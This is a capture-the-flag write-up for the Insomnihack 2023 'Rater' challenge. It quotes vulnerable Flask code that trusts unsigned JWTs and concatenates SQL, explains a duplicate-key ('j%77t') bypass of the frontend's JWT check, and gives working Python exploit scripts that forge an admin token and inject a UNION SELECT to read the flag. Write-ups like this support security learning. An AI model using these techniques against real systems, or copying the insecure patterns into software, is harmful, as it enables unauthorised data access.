Rater

webinsomnihack2023sqlinjection

Discovery

An initial look at the application tells us that we have two flask applications, a frontend and a backend app running in a separate container each, each with its own Dockerfile. The flag exists in the database running in the backend application. So, as a first step, we focus only on the backend application to find out how we can get the flag, without worrying about the frontend.

Backend

The only exposed url of the backend is the /baction path:

@app.route("/baction")
def action():
    try:
        myaction = json.loads(request.args.get("action"))["action"]
        encodedauth = json.loads(request.args.get("action"))["jwt"].split(".")[1]
        authdata = json.loads(base64.urlsafe_b64decode(encodedauth + '=' * (-len(encodedauth) % 4)))
        role = authdata["role"]
        username = authdata["user"]
        endpoint = myaction["name"]
        params = myaction["params"]
        if endpoint in ALLOWED_ACTIONS:
            action = globals()[endpoint]
            return action(params,username,role)
        return json.dumps({"status":"KO", "data":"Unknown action"})
    except:
        return json.dumps({"stats":"KO","data":"Error decoding action"})

Here, we can see that all information is taken out of the action parameter. This includes a selector to choose which function we want to call, as well as parameters and user data in the jwt. We note that the information about the user is taken from the jwt without checking the validity of the token!

Looking around for interesting actions to call, we find the action updaterating(), which in turn calls getdata():

def updaterating(params,username,role):
    challenge = params["challenge"]
    print(challenge)
    value = params["value"]
    challenges = query_db(username,"SELECT id FROM ratings WHERE challenge = ?",(challenge,))
    print(challenges)
    if int(value) > 2 and int(value) <=5:
        if len(challenges) > 0:
            r = query_db(username,"UPDATE ratings SET challenge = ?, value = ? WHERE id = ?",(challenge,int(value),challenges[0][0]))
        else:
            return json.dumps({"status":"NOK","data":"Unknown challenge"})
    else:
        if role == "admin":
            if len(challenges) > 0:
                r = query_db(username,"UPDATE ratings SET challenge = ?, value = ? WHERE id = ?",(challenge,int(value),challenges[0][0]))
            else:
                r = query_db(username,"INSERT INTO ratings (challenge,value) VALUES (?,?)",(challenge,int(value)))
        else:
            return json.dumps({"status":"NOK","data": "You cannot rate so low!"})
    return json.dumps({"status":"OK","data":getdata(params,username,role)})

def getratings(params,username,role):
    return json.dumps({"status":"OK","data":getdata(params,username,role)})

We can see a sql injection in the getdata function:

def getdata(params,username,role):
    results = []
    challenges = query_db(username,"SELECT id, challenge, value FROM ratings")
    for (myid,challenge,value) in challenges:
        cnotes = []
        notes = query_db(username,"SELECT id,note FROM notes WHERE challenge = '" + challenge +"'")
        for (noteid,note) in notes:
            cnotes.append({"id":noteid,"note":note})
        results.append({'id': myid, 'name':challenge,'rating':value, 'notes':cnotes})
    return results

To inject, we need to create a rating that has the challenge field set to our injection value. Luckily for us, the function updateranking() allows us to create a new ranking for a challenge that doesn’t exist. This is only allowed for the admin, as the code for users actually has a check that prevents us from creating a rating for a challenge that doesn’t exist.

So, putting that all together allows us to send to following request to the /baction endpoint that will get us the flag from the database:

import requests, base64, json

s = requests.Session()

action = {
    "action": {
        "name": "updaterating",
        "params": {
            "challenge": "a' UNION SELECT 0, flag from 'flag",
            "value": 10
        }
    },
    "jwt": "a."+base64.urlsafe_b64encode(json.dumps({
        "user": "asdf",
        "role": "admin",
    }).encode("utf-8")).decode("utf-8")+".a"
}

r = s.get("http://localhost:7777/baction", params={
    "action": json.dumps(action),
})

print(r.text)

Frontend

Now, we need to somehow get this request through the frontend to get the flag. Looking at the code, the /action endpoint handles most of the work:

@app.route("/action", methods = ['POST'])
def action():
    action = request.json
    myjwt=action["jwt"]
    try:
        decoded = jwt.decode(myjwt,secret,algorithms="HS256")
        response = requests.get("http://backend:7777/baction?action="+json.dumps(action))
        return response.content
    except:
        return json.dumps({"Error":"Something went wrong..."})

Sadly, the frontend now actually checks the jwt validity (jwt.decode will throw if the jwt/signature is invalid). So, it seems that we need to get a jwt that is valid for the frontend but forged for the backend. To get that, we tried several things:

After attempting different attacks, we finally found a viable bypass to this function: Using the fact that the data in our json will be passed to the frontend as json directly, but will be url decoded before being parsed by the backend, we can come up with a dictionary that will have two different json keys for the frontend, but the same keys for the backend:

{
    "jwt": "REAL_JWT_HERE",
    "j%77t": "FAKE_JWT_HERE"
}

If the python json module encounters two keys with the same key, it will take the last one, so we put our fake jwt after the real jwt - for the frontend there is only one jwt key, for the backend there are two.

Exploit

So, finally after putting everything from above together, we arrive at our exploit:

import requests, base64, json, secrets

s = requests.Session()

CREDS = {
    "username": secrets.token_hex(16),
    "password": secrets.token_hex(16)
}

r = s.post("https://rater.insomnihack.ch/register", json=CREDS, verify=False)
r = s.post("https://rater.insomnihack.ch/login", json=CREDS, verify=False)
jwt = r.json()["jwt"]

fake_jwt = "a."+base64.urlsafe_b64encode(json.dumps({
        "user": CREDS["username"],
        "role": "admin",
    }).encode("utf-8")).decode("utf-8")+"."

action = {
    "action": {
        "name": "updaterating",
        "params": {
            "challenge": "a' UNION SELECT 0, flag from 'flag",
            "value": 10
        }
    },
    "jwt": jwt,
    "j%77t": fake_jwt
}

r = s.post("https://rater.insomnihack.ch/action", json=action, verify=False)

print(r.json()["data"])